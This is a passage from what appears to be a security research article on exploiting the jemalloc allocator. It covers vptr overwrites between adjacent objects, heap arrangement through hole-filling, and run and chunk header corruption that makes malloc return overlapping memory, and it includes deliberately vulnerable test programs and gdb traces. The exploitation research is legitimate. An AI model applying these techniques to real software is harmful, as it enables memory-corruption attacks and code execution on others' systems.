obj_b = new derived_b;

printf("[+] obj_a:\t0x%x\n", (unsigned int)obj_a); printf("[+] obj_b:\t0x%x\n", (unsigned int)obj_b);

if(argc == 3)

{

printf("[+] overflowing from obj_a into obj_b\n"); obj_a‑>copy(argv[1]);

obj_b‑>copy(argv[2]);

obj_a‑>print();

obj_b‑>print();

return 0;

}

We have a base class with a virtual function, 'print(void)', and two derived classes that overload this virtual function. Then in main, we use 'new' to create two new objects, one from each of the derived classes. Subsequently we overflow the 'buf' buffer of 'obj_a' with 'argv[1]'.

Let's explore with gdb:

$ gdb vuln‑vptr

...

gdb $ r `python ‑c 'print "A" * 48'` `python ‑c 'print "B" * 10'` ...

0x804862f <main(int, char**)+15>: movl $0x24,(%esp) 0x8048636 <main(int, char**)+22>: call 0x80485fc <_Znwj@plt> 0x804863b <main(int, char**)+27>: movl $0x80489e0,(%eax) gdb $ print $eax

$13 = 0xb7c01040

At 0x8048636 we can see the first 'new' call which takes as a parameter the size of the object to create, that is 0x24 or 36 bytes. C++ will of course use jemalloc to allocate the required amount of memory for this new object. After the call instruction, EAX has the address of the allocated region (0xb7c01040) and at 0x804863b the value 0x80489e0 is moved there. This is the VPTR that points to 'print(void)' of 'obj_a':

gdb $ x/x *0x080489e0

0x80487d0 <derived_a::print()>: 0xc71cec83

Now it must be clear why even though the declared buffer is 32 bytes long, there are 36 bytes allocated for the object. Exactly the same as above happens with the second 'new' call, but this time the VPTR points to 'obj_b' (which is at 0xb7c01070):

0x8048643 <main(int, char**)+35>: movl $0x24,(%esp) 0x804864a <main(int, char**)+42>: call 0x80485fc <_Znwj@plt> 0x804864f <main(int, char**)+47>: movl $0x80489f0,(%eax) gdb $ x/x *0x080489f0

0x8048800 <derived_b::print()>: 0xc71cec83

gdb $ print $eax

$14 = 0xb7c01070

At this point, let's explore jemalloc's internals:

gdb $ print arenas[0].bins[5].runcur

$8 = (arena_run_t *) 0xb7c01000

gdb $ print arenas[0].bins[5].reg_size

$9 = 0x30

gdb $ print arenas[0].bins[4].reg_size

$10 = 0x20

gdb $ x/40x 0xb7c01000

0xb7c01000: 0xb7fd315c 0x00000000 0x00000052 0xfffffffc 0xb7c01010: 0xffffffff 0x000fffff 0x00000000 0x00000000 0xb7c01020: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01030: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01040: 0x080489e0 0x00000000 0x00000000 0x00000000 0xb7c01050: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01060: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01070: 0x080489f0 0x00000000 0x00000000 0x00000000 0xb7c01080: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01090: 0x00000000 0x00000000 0x00000000 0x00000000

Our run is at 0xb7c01000 and the bin is bin[5] which handles regions of size 0x30 (48 in decimal). Since our objects are of size 36 bytes they don't fit in the previous bin, i.e. bin[4], of size 0x20 (32). We can see 'obj_a' at 0xb7c01040 with its VPTR (0x080489e0) and 'obj_b' at 0xb7c01070 with its own VPTR (0x080489f0).

Our next breakpoint is after the overflow of 'obj_a' into 'obj_b' and just before the first call of 'print()'. Our run now looks like the following:

gdb $ x/40x 0xb7c01000

0xb7c01000: 0xb7fd315c 0x00000000 0x00000052 0xfffffffc 0xb7c01010: 0xffffffff 0x000fffff 0x00000000 0x00000000 0xb7c01020: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01030: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01040: 0x080489e0 0x41414141 0x41414141 0x41414141 0xb7c01050: 0x41414141 0x41414141 0x41414141 0x41414141 0xb7c01060: 0x41414141 0x41414141 0x41414141 0x41414141 0xb7c01070: 0x41414141 0x42424242 0x42424242 0x00004242 0xb7c01080: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7c01090: 0x00000000 0x00000000 0x00000000 0x00000000

gdb $ x/i $eip

0x80486d1 <main(int, char**)+177>: call *(%eax)

gdb $ print $eax

$15 = 0x80489e0

At 0x080486d1 is the call of 'print()' of 'obj_a'. At 0xb7c01070 we can see that we have overwritten the VPTR of 'obj_b' that was in an adjacent region to 'obj_a'. Finally, at the call of 'print()' by 'obj_b':

gdb $ x/i $eip

=> 0x80486d8 <main(int, char**)+184>: call *(%eax)

gdb $ print $eax

$16 = 0x41414141

‑‑‑‑[ 3.2 ‑ Heap manipulation

In order to be able to arrange the jemalloc heap in a predictable state we need to understand the allocator's behavior and use heap manipulation tactics to influence it to our advantage. In the context of browsers, heap manipulation tactics are usually referred to as 'Heap Feng Shui' after Alexander Sotirov's work [FENG].

By 'predictable state' we mean that the heap must be arranged as reliably as possible in a way that we can position data where we want. This enables us to use the tactic of corrupting adjacent regions of the previous paragraph, but also to exploit use‑after‑free bugs. In use‑after‑free bugs a memory region is allocated, used, freed and then used again due to a bug. In such a case if we know the region's size we can manipulate the heap to place data of our own choosing in the freed region's memory slot on its run before it is used again. Upon its subsequent incorrect use the region now has our data that can help us hijack the flow of execution.

To explore jemalloc's behavior and manipulate it into a predictable state we use an algorithm similar to the one presented in [HOEJ]. Since in the general case we cannot know beforehand the state of the runs of the class size we are interested in, we perform many allocations of this size hoping to cover the holes (i.e. free regions) in the existing runs and get a fresh run. Hopefully the next series of allocations we will perform will be on this fresh run and therefore will be sequential. As we have seen, sequential allocations on a largely empty run are also contiguous. Next, we perform such a series of allocations controlled by us. In the case we are trying to use the adjacent regions corruption tactic, these allocations are of the victim object/structure we have chosen to help us gain code execution when corrupted.

The following step is to deallocate every second region in this last series of controlled victim allocations. This will create holes in between the victim objects/structures on the run of the size class we are trying to manipulate. Finally, we trigger the heap overflow bug forcing, due to the state we have arranged, jemalloc to place the vulnerable objects in holes on the target run overflowing into the victim objects.

Let's demonstrate the above discussion with an example (file test‑holes.c in the code archive):

#define TSIZE 0x10 /* target size class */

#define NALLOC 500 /* number of allocations */

#define NFREE (NALLOC / 10) /* number of deallocations */

char *foo[NALLOC];

char *bar[NALLOC];

printf("step 1: controlled allocations of victim objects\n");

for(i = 0; i < NALLOC; i++)

{

foo[i] = malloc(TSIZE);

printf("foo[%d]:\t\t0x%x\n", i, (unsigned int)foo[i]);

}

printf("step 2: creating holes in between the victim objects\n");

for(i = (NALLOC ‑ NFREE); i < NALLOC; i += 2)

{

printf("freeing foo[%d]:\t0x%x\n", i, (unsigned int)foo[i]); free(foo[i]);

}

printf("step 3: fill holes with vulnerable objects\n");

for(i = (NALLOC ‑ NFREE + 1); i < NALLOC; i += 2)

{

bar[i] = malloc(TSIZE);

printf("bar[%d]:\t0x%x\n", i, (unsigned int)bar[i]);

}

jemalloc's behavior can be observed in the output, remember that our target size class is 16 bytes:

$ ./test‑holes

step 1: controlled allocations of victim objects

foo[0]: 0x40201030

foo[1]: 0x40201040

foo[2]: 0x40201050

foo[3]: 0x40201060

foo[4]: 0x40201070

foo[5]: 0x40201080

foo[6]: 0x40201090

foo[7]: 0x402010a0

...

foo[447]: 0x40202c50

foo[448]: 0x40202c60

foo[449]: 0x40202c70

foo[450]: 0x40202c80

foo[451]: 0x40202c90

foo[452]: 0x40202ca0

foo[453]: 0x40202cb0

foo[454]: 0x40202cc0

foo[455]: 0x40202cd0

foo[456]: 0x40202ce0

foo[457]: 0x40202cf0

foo[458]: 0x40202d00

foo[459]: 0x40202d10

foo[460]: 0x40202d20

...

step 2: creating holes in between the victim objects

freeing foo[450]: 0x40202c80

freeing foo[452]: 0x40202ca0

freeing foo[454]: 0x40202cc0

freeing foo[456]: 0x40202ce0

freeing foo[458]: 0x40202d00

freeing foo[460]: 0x40202d20

freeing foo[462]: 0x40202d40

freeing foo[464]: 0x40202d60

freeing foo[466]: 0x40202d80

freeing foo[468]: 0x40202da0

freeing foo[470]: 0x40202dc0

freeing foo[472]: 0x40202de0

freeing foo[474]: 0x40202e00

freeing foo[476]: 0x40202e20

freeing foo[478]: 0x40202e40

freeing foo[480]: 0x40202e60

freeing foo[482]: 0x40202e80

freeing foo[484]: 0x40202ea0

freeing foo[486]: 0x40202ec0

freeing foo[488]: 0x40202ee0

freeing foo[490]: 0x40202f00

freeing foo[492]: 0x40202f20

freeing foo[494]: 0x40202f40

freeing foo[496]: 0x40202f60

freeing foo[498]: 0x40202f80

step 3: fill holes with vulnerable objects

bar[451]: 0x40202c80

bar[453]: 0x40202ca0

bar[455]: 0x40202cc0

bar[457]: 0x40202ce0

bar[459]: 0x40202d00

bar[461]: 0x40202d20

bar[463]: 0x40202d40

bar[465]: 0x40202d60

bar[467]: 0x40202d80

bar[469]: 0x40202da0

bar[471]: 0x40202dc0

bar[473]: 0x40202de0

bar[475]: 0x40202e00

bar[477]: 0x40202e20

bar[479]: 0x40202e40

bar[481]: 0x40202e60

bar[483]: 0x40202e80

bar[485]: 0x40202ea0

bar[487]: 0x40202ec0

bar[489]: 0x40202ee0

bar[491]: 0x40202f00

bar[493]: 0x40202f20

bar[495]: 0x40202f40

bar[497]: 0x40202f60

bar[499]: 0x40202f80

We can see that jemalloc works in a FIFO way; the first region freed is the first returned for a subsequent allocation request. Although our example mainly demonstrates how to manipulate the jemalloc heap to exploit adjacent region corruptions, our observations can also help us to exploit use‑after‑free vulnerabilities. When our goal is to get data of our own choosing in the same region as a freed region about to be used, jemalloc's FIFO behavior can he help us place our data in a predictable way.

In the above discussion we have implicitly assumed that we can make arbitrary allocations and deallocations; i.e. that we have available in our exploitation tool belt allocation and deallocation primitives for our target size. Depending on the vulnerable application (that relies on jemalloc) this may or may not be straightforward. For example, if our target is a media player we may be able to control allocations by introducing an arbitrary number of metadata tags in the input file. In the case of Firefox we can of course use Javascript to implement our heap primitives. But that's the topic of another paper.

‑‑‑‑[ 3.3 ‑ Metadata corruption

The final heap corruption primitive we will focus on is the corruption of metadata. We will once again remind you that since jemalloc is not based on freelists (it uses macro‑based red black trees instead), unlink and frontlink exploitation techniques are not usable. We will instead pay attention on how we can force 'malloc()' return a pointer that points to already initialized heap regions.

‑‑‑‑‑‑[ 3.3.1 ‑ Run (arena_run_t)

We have already defined what a 'run' is in section 2.1.3. We will briefly remind the reader that a 'run' is just a collection of memory regions of equal size that starts with some metadata describing it. Recall that runs are always aligned to a multiple of the page size (0x1000 in most real life applications). The run metadata obey the layout shown in [2‑3].

For release builds the 'magic' field will not be present (that is, MALLOC_DEBUG is off by default). As we have already mentioned, each run contains a pointer to the bin whose regions it contains. The 'bin' pointer is read and dereferenced from 'arena_run_t' (see [2‑3]) only during deallocation. On deallocation the region size is unknown, thus the bin index cannot be computed directly, instead, jemalloc will first find the run the memory to be freed is located and will then dereference the bin pointer stored in the run's header. From function 'arena_dalloc_small':

arena_dalloc_small(arena_t *arena, arena_chunk_t *chunk, void *ptr, arena_chunk_map_t *mapelm)

{

arena_run_t *run;

arena_bin_t *bin;

size_t size;

run = (arena_run_t *)(mapelm‑>bits & ~pagesize_mask); bin = run‑>bin;

size = bin‑>reg_size;

On the other hand, during the allocation process, once the appropriate run is located, its 'regs_mask[]' bit vector is examined in search of a free region. Note that the search for a free region starts at 'regs_mask[regs_minelm]' ('regs_minlem' holds the index of the first 'regs_mask[]' element that has nonzero bits). We will exploit this fact to force 'malloc()' return an already allocated region.

In a heap overflow situation it is pretty common for the attacker to be able to overflow a memory region which is not followed by other regions (like the wilderness chunk in dlmalloc, but in jemalloc such regions are not that special). In such a situation, the attacker will most likely be able to overwrite the run header of the next run. Since runs hold memory regions of equal size, the next page aligned address will either be a normal page of the current run, or will contain the metadata (header) of the next run which will hold regions of different size (larger or smaller, it doesn't really matter). In the first case, overwriting adjacent regions of the same run is possible and thus an attacker can use the techniques that were previously discussed in 3.1. The latter case is the subject of the following paragraphs.

People already familiar with heap exploitation, may recall that it is pretty common for an attacker to control the last heap item (region in our case) allocated, that is the most recently allocated region is the one being overflown. Because of the importance of this situation, we believe it is essential to have a look at how we can leverage it to gain control of the target process.

Let's first have a look at how the in‑memory model of a run looks like (file test‑run.c):

char *first;

first = (char *)malloc(16);

printf("first = %p\n", first);

memset(first, 'A', 16);

breakpoint();

free(first);

The test program is compiled and a debugging build of jemalloc is loaded to be used with gdb.

~$ gcc ‑g ‑Wall test‑run.c ‑o test‑run

~$ export LD_PRELOAD=/usr/src/lib/libc/libc.so.7

~$ gdb test‑run

GNU gdb 6.1.1 [FreeBSD]

...

(gdb) run

...

first = 0x28201030

Program received signal SIGTRAP, Trace/breakpoint trap.

main () at simple.c:14

14 free(first);

The call to malloc() returns the address 0x28201030 which belongs to the run at 0x28201000.

(gdb) print *(arena_run_t *)0x28201000

$1 = {bin = 0x8049838, regs_minelm = 0, nfree = 252, regs_mask = {4294967294}}

(gdb) print *(arena_bin_t *)0x8049838

$2 = {runcur = 0x28201000, runs = {...}, reg_size = 16, run_size = 4096, nregs = 253, regs_mask_nelms = 8, reg0_offset = 48}

Oki doki, run 0x28201000 services the requests for memory regions of size 16 as indicated by the 'reg_size' value of the bin pointer stored in the run header (notice that run‑>bin‑>runcur == run).

Now let's proceed with studying a scenario that can lead to 'malloc()' exploitation. For our example let's assume that the attacker controls a memory region 'A' which is the last in its run.

[run #1 header][RR...RA][run #2 header][RR...]

In the simple diagram shown above, 'R' stands for a normal region which may or may not be allocated while 'A' corresponds to the region that belongs to the attacker, i.e. it is the one that will be overflown. 'A' does not strictly need to be the last region of run #1. It can also be any region of the run. Let's explore how from a region on run #1 we can reach the metadata of run #2 (file test‑runhdr.c, also see [2‑6]):

unsigned char code[] = "\x61\x62\x63\x64";

one = malloc(0x10);

memset(one, 0x41, 0x10);

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one);

two = malloc(0x10);

memset(two, 0x42, 0x10);

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two);

three = malloc(0x20);

memset(three, 0x43, 0x20);

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

__asm__("int3");

printf("[+] corrupting the metadata of region three's run\n"); memcpy(two + 4032, code, 4);

__asm__("int3");

At the first breakpoint we can see that for size 16 the run is at 0xb7d01000 and for size 32 the run is at 0xb7d02000:

gdb $ r

[Thread debugging using libthread_db enabled]

[+] region one: 0xb7d01030: AAAAAAAAAAAAAAAA

[+] region two: 0xb7d01040: BBBBBBBBBBBBBBBB

[+] region three: 0xb7d02020: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Program received signal SIGTRAP, Trace/breakpoint trap.

gdb $ print arenas[0].bins[3].runcur

$5 = (arena_run_t *) 0xb7d01000

gdb $ print arenas[0].bins[4].runcur

$6 = (arena_run_t *) 0xb7d02000

The metadata of run 0xb7d02000 are:

gdb $ x/30x 0xb7d02000

0xb7d02000: 0xb7fd3134 0x00000000 0x0000007e 0xfffffffe 0xb7d02010: 0xffffffff 0xffffffff 0x7fffffff 0x00000000 0xb7d02020: 0x43434343 0x43434343 0x43434343 0x43434343 0xb7d02030: 0x43434343 0x43434343 0x43434343 0x43434343 0xb7d02040: 0x00000000 0x00000000 0x00000000 0x00000000

After the memcpy() and at the second breakpoint:

gdb $ x/30x 0xb7d02000

0xb7d02000: 0x64636261 0x00000000 0x0000007e 0xfffffffe 0xb7d02010: 0xffffffff 0xffffffff 0x7fffffff 0x00000000 0xb7d02020: 0x43434343 0x43434343 0x43434343 0x43434343 0xb7d02030: 0x43434343 0x43434343 0x43434343 0x43434343 0xb7d02040: 0x00000000 0x00000000 0x00000000 0x00000000

We can see that the run's metadata and specifically the address of the 'bin' element (see [2‑3]) has been overwritten. One way or the other, the attacker will be able to alter the contents of run #2's header, but once this has happened, what's the potential of achieving code execution?

A careful reader would have already thought the obvious; one can overwrite the 'bin' pointer to make it point to a fake bin structure of his own. Well, this is not a good idea because of two reasons. First, the attacker needs further control of the target process in order to successfully construct a fake bin header somewhere in memory. Secondly, and most importantly, as it has already been discussed, the 'bin' pointer of a region's run header is dereferenced only during deallocation. A careful study of the jemalloc source code reveals that only 'run‑>bin‑>reg0_offset' is actually used (somewhere in 'arena_run_reg_dalloc()'), thus, from an attacker's point of view, the bin pointer is not that interesting ('reg0_offset' overwrite may cause further problems as well leading to crashes and a forced interrupt of our exploit).

Our attack consists of the following steps. The attacker overflows 'A' and overwrites run #2's header. Then, upon the next malloc() of a size equal to the size serviced by run #2, the user will get as a result a pointer to a memory region of the previous run (run #1 in our example). It is important to understand that in order for the attack to work, the overflown run should serve regions that belong to any of the available bins. Let's further examine our case (file vuln‑run.c):

char *one, *two, *three, *four, *temp;

char offset[sizeof(size_t)];

int i;

if(argc < 2)

{

printf("%s <offset>\n", argv[0]);

return 0;

}

/* User supplied value for 'regs_minelm'. */

*(size_t *)&offset[0] = (size_t)atol(argv[1]);

printf("Allocating a chunk of 16 bytes just for fun\n");

one = (char *)malloc(16);

printf("one = %p\n", one);

/* All those allocations will fall inside the same run. */

printf("Allocating first chunk of 32 bytes\n");

two = (char *)malloc(32);

printf("two = %p\n", two);

printf("Performing more 32 byte allocations\n");

for(i = 0; i < 10; i++)

{

temp = (char *)malloc(32);

printf("temp = %p\n", temp);

}

/* This will allocate a new run for size 64. */

printf("Setting up a run for the next size class\n");

three = (char *)malloc(64);

printf("three = %p\n", three);

/* Overwrite 'regs_minelm' of the next run. */

breakpoint();

memcpy(two + 4064 + 4, offset, 4);

breakpoint();

printf("Next chunk should point in the previous run\n");

four = (char *)malloc(64);

printf("four = %p\n", four);

vuln‑run.c requires the user to supply a value to be written on 'regs_minelm' of the next run. To achieve reliable results we have to somehow control the memory contents at 'regs_mask[regs_minelm]' as well. By taking a closer look at the layout of 'arena_run_t', we can see that by supplying the value ‑2 for 'regs_minelm', we can force 'regs_mask[regs_minelm]' to point to 'regs_minelm' itself. That is, 'regs_minelm[‑2] = ‑2' :)

Well, depending on the target application, other values may also be applicable but ‑2 is a safe one that does not cause further problems in the internals of jemalloc and avoids forced crashes.

From function 'arena_run_reg_alloc':

static inline void *

arena_run_reg_alloc(arena_run_t *run, arena_bin_t *bin)

{

void *ret;

unsigned i, mask, bit, regind;

...

i = run‑>regs_minelm;

mask = run‑>regs_mask[i]; /* [3‑4] */

if (mask != 0) {

/* Usable allocation found. */

bit = ffs((int)mask) ‑ 1; /* [3‑5] */

regind = ((i << (SIZEOF_INT_2POW + 3)) + bit); /* [3‑6] */

...

ret = (void *)(((uintptr_t)run) + bin‑>reg0_offset

+ (bin‑>reg_size * regind)); /* [3‑7] */

...

return (ret);

}

...

}

Initially, 'i' gets the value of 'run‑>regs_minelm' which is equal to ‑2. On the assignment at [3‑4], 'mask' receives the value 'regs_mask[‑2]' which happens to be the value of 'regs_minelm', that is ‑2. The binary representation of ‑2 is 0xfffffffe thus 'ffs()' (man ffs(3) for those who haven't used 'ffs()' before) will return 2, so, 'bit' will equal 1. As if it wasn't fucking tiring so far, at [3‑6], 'regind' is computed as '((0xfffffffe << 5) + 1)' which equals 0xffffffc1 or ‑63. Now do the maths, for 'reg_size' values belonging to small‑medium sized regions, the formula at [3‑7] calculates 'ret' in such a way that 'ret' receives a pointer to a memory region 63 chunks backwards :)

Now it's time for some hands on practice:

~$ gdb ./vuln‑run

GNU gdb 6.1.1 [FreeBSD]

...

(gdb) run ‑2

Starting program: vuln‑run ‑2

Allocating a chunk of 16 bytes just for fun

one = 0x28202030

Allocating first chunk of 32 bytes

two = 0x28203020

Performing more 32 byte allocations

...

temp = 0x28203080

...

Setting up a run for the next size class

three = 0x28204040

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=Error accessing memory address 0x0: Bad address.

) at vuln‑run.c:35

35 memcpy(two + 4064 + 4, offset, 4);

(gdb) c

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=Error accessing memory address 0x0: Bad address.

) at vuln‑run.c:38

38 printf("Next chunk should point in the previous run\n"); (gdb) c

Continuing.

Next chunk should point in the previous run

four = 0x28203080

Program exited normally.

(gdb) q

Notice how the memory region numbered 'four' (64 bytes) points exactly where the chunk named 'temp' (32 bytes) starts. Voila :)

‑‑‑‑‑‑[ 3.3.2 ‑ Chunk (arena_chunk_t)

In the previous section we described the potential of achieving arbitrary code execution by overwriting the run header metadata. Trying to cover all the possibilities, we will now focus on what the attacker can do once she is able to corrupt the chunk header of an arena. Although the probability of directly affecting a nearby arena is low, a memory leak or the indirect control of the heap layout by continuous bin‑sized allocations can render the technique described in this section a useful tool in the attacker's hand.

Before continuing with our analysis, let's set the foundations of the test case we will cover.

[[Arena #1 header][R...R][C...C]]

As we have already mentioned in the previous sections, new arena chunks are created at will depending on whether the current arena is full (that is, jemalloc is unable to find a non‑full run to service the current allocation) or whether the target application runs on multiple threads. Thus a good way to force the initialization of a new arena chunk is to continuously force the target application to perform allocations, preferably bin‑sized ones. In the figure above, letter 'R' indicates the presence of memory regions that are already allocated while 'C' denotes regions that may be free. By continuously requesting memory regions, the available arena regions may be depleted forcing jemalloc to allocate a new arena (what is, in fact, allocated is a new chunk called an arena chunk, by calling 'arena_chunk_alloc()' which usually calls 'mmap()').

The low level function responsible for allocating memory pages (called 'pages_map()'), is used by 'chunk_alloc_mmap()' in a way that makes it possible for several distinct arenas (and any possible arena extensions) to be physically adjacent. So, once the attacker requests a bunch of new allocations, the memory layout may resemble the following figure.

[[Arena #1 header][R...R][C...C]][[Arena #2 header][...]]

It is now obvious that overflowing the last chunk of arena #1 will result in the arena chunk header of arena #2 getting overwritten. It is thus interesting to take a look at how one can take advantage of such a situation.

The following code is one of those typical vulnerable‑on‑purpose programs you usually come across in Phrack articles ;) The scenario we will be analyzing in this section is the following: The attacker forces the target application to allocate a new arena by controlling the heap allocations. She then triggers the overflow in the last region of the previous arena (the region that physically borders the new arena) thus corrupting the chunk header metadata (see [2‑5] on the diagram). When the application calls 'free()' on any region of the newly allocated arena, the jemalloc housekeeping information is altered. On the next call to 'malloc()', the allocator will return a region that points to already allocated space of (preferably) the previous arena. Take your time to carefully study the following snippet since it is essential for understanding this attack (full code in vuln‑chunk.c):

char *base1, *base2;

char *p1, *p2, *p3, *last, *first;

char buffer[1024];

int fd, l;

p1 = (char *)malloc(16);

base1 = (char *)CHUNK_ADDR2BASE(p1);

print_arena_chunk(base1);

/* [3‑8] */

/* Simulate the fact that we somehow control heap allocations.

* This will consume the first chunk, and will force jemalloc * to allocate a new chunk for this arena.

*/

last = NULL;

while((base2 = (char *)CHUNK_ADDR2BASE((first = malloc(16)))) == base1) last = first;

print_arena_chunk(base2);

/* [3‑9] */

/* Allocate one more region right after the first region of the

* new chunk. This is done for demonstration purposes only. */

p2 = malloc(16);

/* This is how the chunks look like at this point:

*

* [HAAAA....L][HFPUUUU....U]

*

* H: Chunk header

* A: Allocated regions

* L: The chunk pointed to by 'last'

* F: The chunk pointed to by 'first'

* P: The chunk pointed to by 'p2'

* U: Unallocated space

*/

fprintf(stderr, "base1: %p vs. base2: %p (+%d)\n",

base1, base2, (ptrdiff_t)(base2 ‑ base1));

fprintf(stderr, "p1: %p vs. p2: %p (+%d)\n",

p1, p2, (ptrdiff_t)(p2 ‑ p1));

/* [3‑10] */

if(argc > 1) {

if((fd = open(argv[1], O_RDONLY)) > 0) {

/* Read the contents of the given file. We assume this file

* contains the exploitation vector.

*/

memset(buffer, 0, sizeof(buffer));

l = read(fd, buffer, sizeof(buffer)); close(fd);

/* Copy data in the last chunk of the previous arena chunk. */

fprintf(stderr, "Read %d bytes\n", l); memcpy(last, buffer, l);

}

}

/* [3‑11] */

/* Trigger the bug by free()ing any chunk in the new arena. We

* can achieve the same results by deallocating 'first'.

*/

free(p2);

print_region(first, 16);

/* [3‑12] */

/* Now 'p3' will point to an already allocated region (in this

* example, 'p3' will overwhelm 'first').

*/

p3 = malloc(4096);

/* [3‑13] */

fprintf(stderr, "p3 = %p\n", p3);

memset(p3, 'A', 4096);

/* 'A's should appear in 'first' which was previously zeroed. */

print_region(first, 16);

return 0;

Before going further, the reader is advised to read the comments and the code above very carefully. You can safely ignore 'print_arena_chunk()' and 'print_region()', they are defined in the file lib.h found in the code archive and are used for debugging purposes only. The snippet is actually split in 6 parts which can be distinguished by their corresponding '[3‑x]' tags. Briefly, in part [3‑8], the vulnerable program performs a number of allocations in order to fill up the available space served by the first arena. This emulates the fact that an attacker somehow controls the order of allocations and deallocations on the target, a fair and very common prerequisite. Additionally, the last call to 'malloc()' (the one before the while loop breaks) forces jemalloc to allocate a new arena chunk and return the first available memory region. Part [3‑9], performs one more allocation, one that will lie next to the first (that is the second region of the new arena). This final allocation is there for demonstration purposes only (check the comments for more details).

Part [3‑10] is where the actual overflow takes place and part [3‑11] calls 'free()' on one of the regions of the newly allocated arena. Before explaining the rest of the vulnerable code, let's see what's going on when 'free()' gets called on a memory region.

void

free(void *ptr)

{

...

if (ptr != NULL) {

...

idalloc(ptr);

}

}

static inline void

idalloc(void *ptr)

{

...

chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr); /* [3‑14] */

if (chunk != ptr)

arena_dalloc(chunk‑>arena, chunk, ptr); /* [3‑15] */

else

huge_dalloc(ptr);

}

The 'CHUNK_ADDR2BASE()' macro at [3‑14] returns the pointer to the chunk that the given memory region belongs to. In fact, what it does is just a simple pointer trick to get the first address before 'ptr' that is aligned to a multiple of a chunk size (1 or 2 MB by default, depending on the jemalloc flavor used). If this chunk does not belong to a, so called, huge allocation, then the allocator knows that it definitely belongs to an arena. As previously stated, an arena chunk begins with a special header, called 'arena_chunk_t', which, as expected, contains a pointer to the arena that this chunk is part of.

Now recall that in part [3‑10] of the vulnerable snippet presented above, the attacker is able to overwrite the first few bytes of the next arena chunk. Consequently, the 'chunk‑>arena' pointer that points to the arena is under the attacker's control. From now on, the reader may safely assume that all functions called by 'arena_dalloc()' at [3‑15] may receive an arbitrary value for the arena pointer:

static inline void

arena_dalloc(arena_t *arena, arena_chunk_t *chunk, void *ptr) {

size_t pageind;

arena_chunk_map_t *mapelm;

...

pageind = (((uintptr_t)ptr ‑ (uintptr_t)chunk) >> PAGE_SHIFT); mapelm = &chunk‑>map[pageind];

...

if ((mapelm‑>bits & CHUNK_MAP_LARGE) == 0) {

/* Small allocation. */

malloc_spin_lock(&arena‑>lock); arena_dalloc_small(arena, chunk, ptr, mapelm); /* [3‑16] */

malloc_spin_unlock(&arena‑>lock);

}

else

arena_dalloc_large(arena, chunk, ptr); /* [3‑17] */

}

Entering 'arena_dalloc()', one can see that the 'arena' pointer is not used a lot, it's just passed to 'arena_dalloc_small()' or 'arena_dalloc_large()' depending on the size class of the memory region being deallocated. It is interesting to note that the aforementioned size class is determined by inspecting 'mapelm‑>bits' which, hopefully, is under the influence of the attacker. Following the path taken by 'arena_dalloc_small()' results in many complications that will most probably ruin our attack (hint for the interested reader ‑ pointer arithmetics performed by 'arena_run_reg_dalloc()' are kinda dangerous). For this purpose, we choose to follow function 'arena_dalloc_large()':

static void

arena_dalloc_large(arena_t *arena, arena_chunk_t *chunk, void *ptr) {

malloc_spin_lock(&arena‑>lock);

...

size_t pageind = ((uintptr_t)ptr ‑ (uintptr_t)chunk) >> PAGE_SHIFT; /* [3‑18] */

size_t size = chunk‑>map[pageind].bits & ~PAGE_MASK; /* [3‑19] */

...

arena_run_dalloc(arena, (arena_run_t *)ptr, true); malloc_spin_unlock(&arena‑>lock);

}

There are two important things to notice in the snippet above. The first thing to note is the way 'pageind' is calculated. Variable 'ptr' points to the start of the memory region to be free()'ed while 'chunk' is the address of the corresponding arena chunk. For a chunk that starts at e.g. 0x28200000, the first region to be given out to the user may start at 0x28201030 mainly because of the overhead involving the metadata of chunk, arena and run headers as well as their bitmaps. A careful reader may notice that 0x28201030 is more than a page far from the start of the chunk, so, 'pageind' is larger or equal to 1. It is for this purpose that we are mostly interested in overwriting 'chunk‑>map[1]' and not 'chunk‑>map[0]'. The second thing to catch our attention is the fact that, at [3‑19], 'size' is calculated directly from the 'bits' element of the overwritten bitmap. This size is later converted to the number of pages comprising it, so, the attacker can directly affect the number of pages to be marked as free. Let's see 'arena_run_dalloc':

static void

arena_run_dalloc(arena_t *arena, arena_run_t *run, bool dirty) {

arena_chunk_t *chunk;

size_t size, run_ind, run_pages;

chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(run);

run_ind = (size_t)(((uintptr_t)run ‑ (uintptr_t)chunk) >> PAGE_SHIFT);

...

if ((chunk‑>map[run_ind].bits & CHUNK_MAP_LARGE) != 0) size = chunk‑>map[run_ind].bits & ~PAGE_MASK;

else

...

run_pages = (size >> PAGE_SHIFT); /* [3‑20] */

/* Mark pages as unallocated in the chunk map. */

if (dirty) {

size_t i;

for (i = 0; i < run_pages; i++) {

...

/* [3‑21] */

chunk‑>map[run_ind + i].bits = CHUNK_MAP_DIRTY;

}

...

chunk‑>ndirty += run_pages;

arena‑>ndirty += run_pages;

}

else {

...

}

chunk‑>map[run_ind].bits = size | (chunk‑>map[run_ind].bits & PAGE_MASK);

chunk‑>map[run_ind+run_pages‑1].bits = size | (chunk‑>map[run_ind+run_pages‑1].bits & PAGE_MASK);

/* Page coalescing code ‑ Not relevant for _this_ example. */

...

/* Insert into runs_avail, now that coalescing is complete. */

/* [3‑22] */

arena_avail_tree_insert(&arena‑>runs_avail, &chunk‑>map[run_ind]);

...

}

Continuing with our analysis, one can see that at [3‑20] the same size that was calculated in 'arena_dalloc_large()' is now converted to a number of pages and then all 'map[]' elements that correspond to these pages are marked as dirty (notice that 'dirty' argument given to 'arena_run_dalloc()' by 'arena_dalloc_large()' is always set to true). The rest of the 'arena_run_dalloc()' code, which is not shown here, is responsible for forward and backward coalescing of dirty pages. Although not directly relevant for our demonstration, it's something that an attacker should keep in mind while developing a real life reliable exploit.

